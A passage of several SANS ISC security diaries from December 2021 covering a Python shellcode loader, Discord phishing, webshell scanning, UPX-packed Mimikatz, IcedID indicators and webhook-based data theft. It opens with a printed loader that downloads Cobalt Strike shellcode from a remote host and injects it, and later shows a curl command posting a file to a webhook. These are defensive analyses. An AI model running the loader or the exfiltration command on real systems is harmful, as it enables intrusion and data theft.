  y={'Content-Type':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ',"Origin":'hxxps://txtpad[.]cn',}
  I="hxxps://a6[.]qikekeji[.]com/txt/data/detail/?txt_name=1231"
  n=A(A(P().request('GET',I,headers=y).data.decode(encoding='UTF-8'))['data']['txt_content'])[0]['content']
  U=b(H(n).decode('utf-8'))
  U=t(U)
  F.kernel32.VirtualAlloc.restype=f
  e=F.kernel32.VirtualAlloc(D(0),D(u(U)),D(0x3000),D(0x40))
  X=(M*u(U)).from_buffer(U)
  F.kernel32.RtlMoveMemory(f(e),X,D(u(U)))
  k=F.kernel32.CreateThread(D(0),D(0),f(e),D(0),D(0),q(D(0)))
  F.kernel32.WaitForSingleObject(D(k),D(-1))
except Exception as e:
  print(e)

Note the strange HTTP header "Content-Type" that contains a User-Agent!?

If you're familiar with code injection in Windows, you can quickly spot the magic combination of classic API calls:

• kernel32.VirtualAlloc (with the "0x40")
• kernel32.RtlMoveMemory
• kernel32.CreateThread
• kernel32.WaitForSingleObject

The shellcode is downloaded from a website and, based on the references to "json.loads" and "b64decode", we can guess that it's hidden in a JSON structure. When you visit the URL, you get this data back (beautified):

{
  "status":1,"data": 
  {
    "v_id":"c74fc1d6e42edcf7faf94eb82b55367a",
    "txt_name":"1231",
    "txt_id":"b50422211e7a5b75acc9aaed927de394",
    "txt_content":"
      [{\"title\":\"YiJceGZjXHg0OFx4ODNc\",
        \"content\":\"YiJceGZjXHg0OFx4 ... Content Removed ... NFx4NTNceGU1XHhmZlx4ZDVceDQ4XHg5M
                      1x4NTNceDUzXHg0OFx4ODlceGU3XHg0OFx4ODlceGYxXHg0OFx4ODlceGRhXHg0MVx4YjhceDA
                      wXHgyMFx4MDBceDAwXHg0OVx4ODlceGY5XHg0MVx4YmFceDEyXHg5Nlx4ODlceGUyXHhmZlx4Z
                      DVceDQ4XHg4M1x4YzRceDIwXHg4NVx4YzBceDc0XHhiNlx4NjZceDhiXHgwN1x4NDhceDAxXHh
                      jM1x4ODVceGMwXHg3NVx4ZDdceDU4XHg1OFx4NThceDQ4XHgwNVx4MDBceDAwXHgwMFx4MDBce
                      DUwXHhjM1x4ZThceDlmXHhmZFx4ZmZceGZmXHgzMVx4MzVceDMwXHgyZVx4MzFceDM1XHgzOFx
                      4MmVceDMzXHgzOVx4MmVceDMyXHgzMVx4MzVceDAwXHgxOVx4NjlceGEwXHg4ZCI=\"
       }
      ]",
    "read_count":134,
    "report_count":0
  },
  "req_id":"de4d1b3c08f459508760"
}

The "content" variable contains the shellcode. It is extracted and injected.

Note that the shellcode is Base64-encoded but also hex-encoded. The shellcode phones home to http://150[.]158[.]39[.]215/x9Ic (a classic Cobalt Strike[3]).

[1] https://www.virustotal.com/gui/file/a848d43eae6518569edb17158a9a127167051266dd406acbb963d1330a9ffefc/detection
[2] https://docs.python.org/3/library/ctypes.html
[3] https://isc.sans.edu/forums/diary/Finding+Metasploit+Cobalt+Strike+URLs/27204/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

With the recent conclusion of Cyber Monday and the arrival of the Christmas season, many people would be on the lookout for great deals. Cybercriminals and organized digital crime groups are also likely to target unsuspecting users of digital platforms, especially those that have been growing in popularity due to COVID-19. I was recently alerted to a phishing Direct Message (DM) that was sent via Discord, purporting about some leftover Nitro (an additional paid subscription for Discord).

The contents of the DM can be seen in Figure 1 below, while Figure 2 shows the details of the bot that sent the message.

Figure 1: Phishing DM in Discord

Figure 2: Details of Discord Bot

At first look, there were some notable discrepancies. For example, the purported link had misspelled discord as “dicsord". Secondly, the sender was a bot named “SECURITY” (and with extra sparkles too!). A check with Discord’s support page showed that Discord would not contact users via bots to offer free products [1].

Further checks on the phishing link showed that the perpetrator behind this site had put in a bit of effort to make it seem legitimate. For example, if a user merely used the domain name “dicsordgifts[.]one”, the website would respond with a HTTP Status Code 301 Moved Permanently. This would result in the user landing on the legitimate Discord website. However, if the user had used the entire link as shown in Figure 1 (e.g. clicked on it), the website would respond with a HTTP Status Code 200 OK and show its contents (with reference to Figure 3).

Figure 3: Discord Phishing Page

We can see that the tactics have evolved. Earlier on, the Discord support page had mentioned that bots would not be offering free products. In this case, the offer was for 3 months of Nitro. Once “Next” is clicked, the website would ask the victim to scan a QR code to log-on to Discord (with reference to Figure 4).

Figure 4: Discord Phishing Page – Logging In

Further examination of the website code indicated that credit card details would be requested from the user after the user has logged on. Moreover, the perpetrator also took pains to do some input validation for credit card information as shown in Figure 5 below (The name “John Davis” was widely used as a filler for falsified credit card details). If the particular name is used, the page would refresh itself when the details are submitted.

Figure 5: Validation of Credit Card Information

Finally, if legitimate credit card details were entered and the victim was successfully phished, the webpage would first respond with “Wait a second...” and then return a “500 Internal Server Error. Try again later.”

The phishing website has been set up recently via NameCheap (created on December 7, 2021) and also utilised Cloudflare for Content Delivery Network (CDN) capabilities. I have also sent a report to Discord, Cloudflare and NameCheap about the phishing message and website. Finally, other than using proper credentials and enabling two-factor authentication (2FA), Discord users may want to review who are allowed to send DMs to them to reduce phishing risks and enhance online privacy. A support guide on Discord privacy settings can be found here [2]. Stay safe, and continue to stay vigilant against phishing attempts!

Indicators of Compromise (IOCs):
hxxps://dicsordgifts[.]one/billing/promotions/n3yTNK8GQZ5ZRkNA5V6hJ6Nt

References:
1. https://support.discord.com/hc/en-us/articles/360037660611-Scam-Phishing-Bots
2. https://support.discord.com/hc/en-us/articles/217916488-Blocking-Privacy-Settings-

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

Introduction

Today's diary is a forensic challenge for December 2021.  This month's challenge is based on network traffic from an Active Directory (AD) environment where a Windows client becomes infected.  The prize for this contest is a Raspberry Pi. 

The packet capture (pcap) is in a password-protected zip archive available here. 

Rules for the contest follow:

• Only one submission per person.
• Participants who submit the correct answers will be entered into a drawing, and one will win the Raspberry Pi.
• Submissions should be made using the form on our contact page at: https://isc.sans.edu/contact.html
• Use December 2021 Forensic Challenge for the Subject: line.
• Provide the following information:
  • IP address of the infected Windows computer.
  • Host name of the infected Windows computer.
  • User account names from the infected Windows computer.
  • Date and time the infection activity began in UTC (the GMT or Zulu timezone).
  • The family of malware that caused this infection.

We will accept submissions through Sunday December 19th, 2021.  Everyone who submits the correct answers will be entered in a drawing, and the winner will be randomly chosen.  The winner will be announced in an ISC diary on Wednesday December 22nd, and that diary will also provide analysis of the infection traffic.

Shown above:  Pcap for this monht's forensic challenge opened in Wireshark using the default column display.

Requirements

Analysis of the infection traffic requires Wireshark or some other pcap analysis tool.  Wireshark is my tool of choice to review pcaps of infection traffic.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

• Wireshark Tutorial: Changing Your Column Display
• Wireshark Tutorial: Identifying Hosts and Users
• Wireshark Tutorial: Display Filter Expressions
• Using Wireshark - Exporting Objects from a Pcap

I always recommend participants review these pcaps in a non-Windows environment like BSD, Linux, or macOS.  Why?  Because this pcap contains Windows-based malware in some of the traffic.  If you're using a Windows host to review this pcap, your antivirus (or Windows Defender) may delete or alter the pcap.  Worst case?  If you extract malware from this pcap and accidentally run it, you might infect your Windows computer.

Active Directory (AD) Environment

The infected Windows host is part of an AD environment, so the pcap contains information about the Windows user account. The user account is formatted as firstname.lastname.  The AD environment characteristics are:

• LAN segment range: 10.12.3.0/24 (10.12.3.0 through 10.12.3.255)
• Domain: fargreentech.com
• Domain Controller: 10.12.3.3 - FARGREENTECH-DC
• LAN segment gateway: 10.12.3.1
• LAN segment broadcast address: 10.12.3.255

Final Words

Again, the zip archive with a pcap of the infection traffic is available here.  The winner of today's contest and analysis of the infection traffic will be posted in an upcoming ISC diary two weeks from today on Wednesday December 22nd.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

I recently started experimenting with a new page to analyze our web honeypot data. This page lists all URLs not seen before. (see https://isc.sans.edu/weblogs/firstseenurls.html ). So far, this has been useful in finding some new or exciting data.

For example, yesterday, an attacker started scanning for webshells. These scans popped up because the attacker also supplied some unique parameters to the shells (not sure these parameters made sense, but they helped me :) ).

The IP in question, %%ip:97.89.144.44%%, sent 28454 requests to 40 of our honeypots (some of the honeypots cover multiple IP addresses). 941 different URLs were probed, and about 150 distinct URLs after removing the parameters. Too many to list them all here, but this is a list of the more popular requests:

/PHPSPY.php
/egy.php
/Loaderz_WEB_Shell.php
/FaTaLisTiCz_Fx.php
/Simple_PHP_backdoor.php
/c99_locus7s.php
/c99ud.php
/Moroccan_Spamers.php
/PHANTASMA.php
/locus.php
/iskorpitx.php
/c99-Ultimate.php
/ironshell.php
/filesman.php
/antichat.php
/aspydrv.php
/c99v2.php
/sniper.php
/c100.php
/cbfphpsh.php

Webshells are one of the more common payloads delivered by various exploits. They provide an attacker with persistent and convenient access to a compromised site. Usually, webshells use some form of authentication, but attackers are making mistakes too, and default passwords are about as common in webshells as in the applications they compromise. As a defender, it is essential to look out for unauthorized changes to your code, which may point to the inclusion of webshells. Attackers may use a compromised developer workstation or library to sneak a webshell into your site. Below is a code snippet from the old PHPSPY webshell (#1 on the list scanned) that shows the default password used by this webshell. And yes, the comment above the password translates to "If password verification is required, please modify the login password."

The source IP for these attacks has had a couple of dozen other reports from back in June. This appears to be a cable modem IP address (Spectrum/Charter communications). The activity stopped today. I hope the victim managed to clean up their system, or the ISP notified them of the activity.

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Out-of-band (or "OoB") networks are usually dedicated to management tasks. Many security appliances and servers have dedicated management interfaces that are used to set up, control, and monitor the device. A best practice is to connect those management interfaces to a dedicated network that is not directly connected to the network used to carry applications/users' data. If a physically separated network is always best, a dedicated VLAN could do the job in most cases (if properly configured). What we typically find on OoB networks are:

• Network devices (switches, routers, access-points)
• IPMI (ILO, DRAC, etc)
• Appliances management interfaces
• Management interfaces of servers

They also carry sensitive protocols like SNMP, backup traffic to not interfere with the "production" traffic. OoB networks are, based on their criticality, pretty well hardened with very limited access through bastion hosts. Sometimes, they are so well protected that remote access is not allowed and could lead to critical situations like the recent Facebook downtime due to a BGP issue[1].

But OoB networks can also be used for other purposes: during a security incident. It's recommended to not allow Incident Handlers to use the corporate network to exchange information.

A few days ago, an interesting tweet has been posted by @vxunderground[2]. Apparently, the Ragnar Locker ransomware group was able to access a Slack channel used by the organization in charge of the investigations. 

(Image source: vxunderground's Twitter account)

As you can see on top of the screenshot, there is the classic Remote Desktop Client banner. Probably, an Incident Handler was connected to the Teams channel from a workstation on the compromised network and the attacker was still present... Teams is an "external service" and traffic to Teams is encrypted but if the client or the browser can be accessed, it's too late!

[1] https://blog.cloudflare.com/october-2021-facebook-outage/
[2] https://twitter.com/vxunderground/status/1466523987031302145?s=20

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

We are well on our way to closing 2021 and looking back at this year, it is easy to see that 2021 has been dominated by phishing and ransomware. With zero-day exploits in their possession, threat actors have been looking for new ways to target supply chain, source code, firmware and industrial control systems (ICS). 

For nearly 2 years now, COVID has accelerated the move to the cloud where it opens the door and widen the surface area for attacks and opened new challenges to protect data. In the first few months of this year, there were several Microsoft Exchange zero-day vulnerabilities affecting several thousand organizations  which was soon followed by SolarWinds which lead to compromised on Prem and in the Cloud.

Ransomware targeted and affected a wide range of organizations, stealing their data, encrypting it then threatened to leak it unless a ransom was paid. The actor(s) then look for something embarrassing or sensitive material that could be used to threaten to leak or sell to others. In some cases, they might research if a potential victim insurance covers ransoms payment. Some of the most publicize ransomware attack was US Colonial Pipeline[1], in Canada Newfoundland health services[2], supply chain attack against Kaseya[3], to name a few.

What could be done to help defend against phishing? Some of the things to watch for has been phishing and compromised of exposed Remote Desktop Protocol (RDP) has been a main vector for ransomware (RDP activity Diary), protect and monitor TCP/3389 for suspicious activity. Something else that can help is to setup DMARC for your DNS record to protect against domain spoofing. Patching and auditing software to ensure latest patches have been applied or risks that cannot be remediated are known, accepted and monitored against suspicious activity. Finally, good backups have been checked, tested, and verified that can be used to restore data.

What other tricks could help fight phishing and ransomware, share them via our comment section.

[1] https://www.cnn.com/2021/08/16/tech/colonial-pipeline-ransomware/index.html
[2] https://www.cbc.ca/news/canada/newfoundland-labrador/nl-cyber-attack-worst-canada-1.6236210
[3] https://www.zdnet.com/article/kaseya-ransomware-attack-1500-companies-affected-company-confirms/
[4] https://isc.sans.edu/forums/diary/Remote+Desktop+Protocol+RDP+Discovery/27984
[5] https://mxtoolbox.com/dmarc/details/how-to-setup-dmarc

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Today, many malware samples that you can find in the wild are "packed". The process of packing an executable file is not new and does not mean that it is de-facto malicious. Many developers decide to pack their software to protect the code. But why malware are often packed? Because packing slows down the malware analyst job and defeats many static analysis tools. The advantages of packed malware (from an attacker's point of view) are (amongst others):

• A reduced amount of readable strings
• A reduced imports table
• Modified entry point (start of the real program)

They are many packers in the wild. Some are publicly available, others are self-developed by the attackers. Most of them do not provide an "unpacker". It means that you can't easily revert to the original code. The most known packer is probably "UPX"[1]. Available for years, on both Linux and Windows, it does a good job and... includes an unpacker! This means that it's very easy to revert back to the original file.

Yesterday, I spotted an interesting PowerShell script that drops a PE file on the file system. I'm always starting with quick static analysis and saw this:

remnux@remnux:/MalwareZoo/20211203$ peframe cohernece.exe 

--------------------------------------------------------------------------------
File Information (time: 0:00:20.671049)
--------------------------------------------------------------------------------
filename         cohernece.exe
filetype         PE32 executable (GUI) Intel 80386, for MS Windows, UPX compress
filesize         53027
hash sha256      f55fb3ca7a43327157b2862390290c3df7ddf84b891f856ae720ff8a4e198b31
virustotal       /
imagebase        0x400000
entrypoint       0x1d540
imphash          d64d0be2c077062bee61cde37db4cf3e
datetime         2019-11-22 12:55:39
dll              False
directories      import, tls, resources, relocations
sections         UPX0, .rsrc, UPX1 *
features         packer

--------------------------------------------------------------------------------
Yara Plugins
--------------------------------------------------------------------------------
UPXv20MarkusLaszloReiser
UPXV200V290MarkusOberhumerLaszloMolnarJohnReiser
UPX20030XMarkusOberhumerLaszloMolnarJohnReiser
IsPE32
IsWindowsGUI
IsPacked
HasOverlay
HasRichSignature

--------------------------------------------------------------------------------
Behavior
--------------------------------------------------------------------------------
Xor

--------------------------------------------------------------------------------
Packer
--------------------------------------------------------------------------------
PackerUPX CompresorGratuito wwwupxsourceforgenet
UPX wwwupxsourceforgenet additional
yodas Protector v1033 dllocx Ashkbiz Danehkar h
UPX v0896 v102 v105 v124 Markus Laszlo overlay
UPX v0896 v102 v105 v124 Markus Laszlo overlay additional
UPX wwwupxsourceforgenet

--------------------------------------------------------------------------------
Sections Suspicious
--------------------------------------------------------------------------------
UPX1             7.90

--------------------------------------------------------------------------------
Import function
--------------------------------------------------------------------------------
ADVAPI32.dll     1
KERNEL32.DLL     4
MSVCRT.dll       1
NETAPI32.dll     1
USER32.dll       1

--------------------------------------------------------------------------------
Possibile Breakpoint
--------------------------------------------------------------------------------
ExitProcess
GetProcAddress
LoadLibraryA
VirtualProtect

--------------------------------------------------------------------------------
File
--------------------------------------------------------------------------------
ADVAPI32.dll     Library
KERNEL32.DLL     Library
MSVCRT.dll       Library
NETAPI32.dll     Library
USER32.dll       Library

--------------------------------------------------------------------------------
Fuzzing
--------------------------------------------------------------------------------
String too long

You can see plenty of indicators that conform we are dealing with a UPX-packed sample:

• YARA rules hit
• The name of sections ("UPX0", "UPX1")
• A high entropy
• A reduced imports table with function related to memory management ("VirtualProtect")

UPX being open source, they are many forks of the project, and attackers can easily fork the original project and introduce small changes. The result will be that the default (official) UPX tools won't be able to unpack the malware. Example:

remnux@remnux:/MalwareZoo/20211203$ upx -d test.exe 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: test.exe: CantUnpackException: file is possibly modified/hacked/protected; take care!

Unpacked 0 files.

But, this time, the attacker used the official UPX version and I just unpacked it:

remnux@remnux:/MalwareZoo/20211203$ upx -d cohernece-packed.exe 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    107299 <-     53027   49.42%    win32/pe     cohernece-packed.exe

Unpacked 1 file.
remnux@remnux:/MalwareZoo/20211203$ shasum -a 256 cohernece-packed.exe 
2b9aaa9c33b5b61f747d03e79a22706c79a58a5a838017ffa2452a1f1f8183bd  cohernece-packed.exe

The unpacked PE file is a good old Mimikatz.

I don't know why the attacker still used the default UPX in this case. Except to defeat automatic triage and basic controls, it does not slow down the Malware Analyst... 

[1] https://github.com/upx/upx

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

TA551 (also known as Shathak) represents a threat actor behind malspam that has pushed different families of malware over the past few years.  So far this week, TA551 is pushing IcedID (Bokbot).

Shown above:  Flow chart for this infection.

Images from an infection

Shown above:  Screenshot from a TA551 email with sensitive information removed.

Indicators of Compromise (IOCs)

The infection process was similar to my previous diary about TA551 from August 2021, but this time it delivered IcedID instead of BazarLoader.

Associated malware:

SHA256 hash: d68fb04c96e925efcdb3484669365bed0cda22a272e486e99a43f9626019d31c

• File size: 38,958 bytes
• File name: request.zip
• File description: Password-protected zip archive attached to email
• Password: 55egs

SHA256 hash: 0a42f6762ae4f3b1d95aae0f8977cde6361f1d59b5ccc400c41772db0205f7c5

• File size: 34,322 bytes
• File name: charge_12.01.2021.doc
• File description: Word doc with macros for IcedID

SHA256 hash: c7f40608ce8a3dda25c13d117790d08ef757b07b8c2ccb645a27a71adc322fb2

• File size: 3,342 bytes
• File location: C:\Users\[username]\Documents\youTube.hta
• File description: HTA file dropped after enabling Word macros

SHA256 hash: d54a870ba5656c5d3ddfab5f7f325c2fb8ee256b25e2872847c5ff244bc6ee6e

• File size: 257,672 bytes
• File location: hxxp://winrentals2017b[.]com/tegz/[long string of characters]/cab3?ref=[long string of characters]
• File location: C:\Users\Public\dowNext.jpg
• File description: Installer DLL for IcedID
• Run method: regsvr32.exe [filename]

SHA256 hash: cfc202b44509f2f607d365858a8218dfdc6b26f8087efcc5e46f4fef9ab53705

• File size: 341,898 bytes
• File location: C:\Users\[username]\AppData\Roaming\ReliefEight\license.dat
• File description: license.dat data binary used to run persistent IcedID DLL

SHA256 hash: c340ae2dde2bd8fbae46b15abef0c7e706fe8953c837329bde409959836d6510

• File size: 116,224 bytes
• File location: C:\Users\[username]\AppData\Roaming\{24DB904E-86F7-2F2C-B7C1-85D8BBCE1181}\Miap\Giowcosi64.dll
• File description: persistent IcedID DLL
• Run method: rundll32.exe [filename],DllMain --giqied="[path to license.dat]"

IcedID traffic:

• 143.204.155[.]37 port 443 - aws.amazon[.]com - HTTPS traffic
• 87.120.254[.]190 port 80 - normyils[.]com - GET / HTTP/1.1
• 87.120.8[.]98 port 443 - baeswea[.]com - HTTPS traffic
• 91.92.109[.]95 port 443 - bersaww[.]com - HTTPS traffic

Final words

IcedID can be followed by Cobalt Strike when an infected host is part of an Active Directory (AD) environment.  These types of infections can deliver ransomware as a final payload in real-world environments.

But decent spam filters and best security practices can help you avoid IcedID. Default security settings in Windows 10 and Microsoft Office 2019 should prevent these types of infections from happening.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

We already reported multiple times that, when you offer an online (cloud) service, there are a lot of chances that it will be abused for malicious purposes. I spotted an info-stealer that exfiltrates data through webhook.site. Today, many Python scripts use Discord as a C2 communication channel. This time, something different and that looks definitively less suspicious.

webhook.site is an online service that helps you to test webhooks. By definition, a webhook[1] is a technique used to modify a page or an application with custom callbacks. They are also often used to automate data manipulations. Webhooks are perfect to receive JSON data through HTTP POST requests.

The malicious tool is Hazard-Token-Grabber-V2, available on GitHub[2] for a few days. Actually, it has a very low VT score: 3/56[3]. The script extracts a lot of information from the infected system:

• Username
• ComputerName
• IP
• City
• Region
• Country
• Google Maps Location
• Screenshot of their pc
• All Their Valid Discord Tokens (bypasses betterdiscord's anti-token-grab-protector)
• Password For Discord (You get Their Password if They Update it)
• Their Whole Credit Card (if They Put one in)
• All Their Chrome Passwords And Cookies

How does work webhook.site? When you visit the page, they will generate a unique webhook for you. Now, you can just watch hit and send HTTP POST requests to it. For example, my webhook was:

https://webhook.site/4accef15-fa3b-4926-a853-2b020accd3a2

I sent this requests:

$ echo “This is a far file” >file.txt
$ curl -X POST --data-binary @file.txt hxxps://webhook[.]site/4accef15-fa3b-4926-a853-2b020accd3a2

Data is instantly received by the webhook that the attacker is probably monitoring:

A very efficient and stealthy way to exfiltrate data!

[1] https://en.wikipedia.org/wiki/Webhook
[2] https://github.com/Rdimo/Hazard-Token-Grabber-V2
[3] https://www.virustotal.com/gui/file/efe6d18849828e14855b0f493652183b39c7553621b78b89a05157705314a7b4/details

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key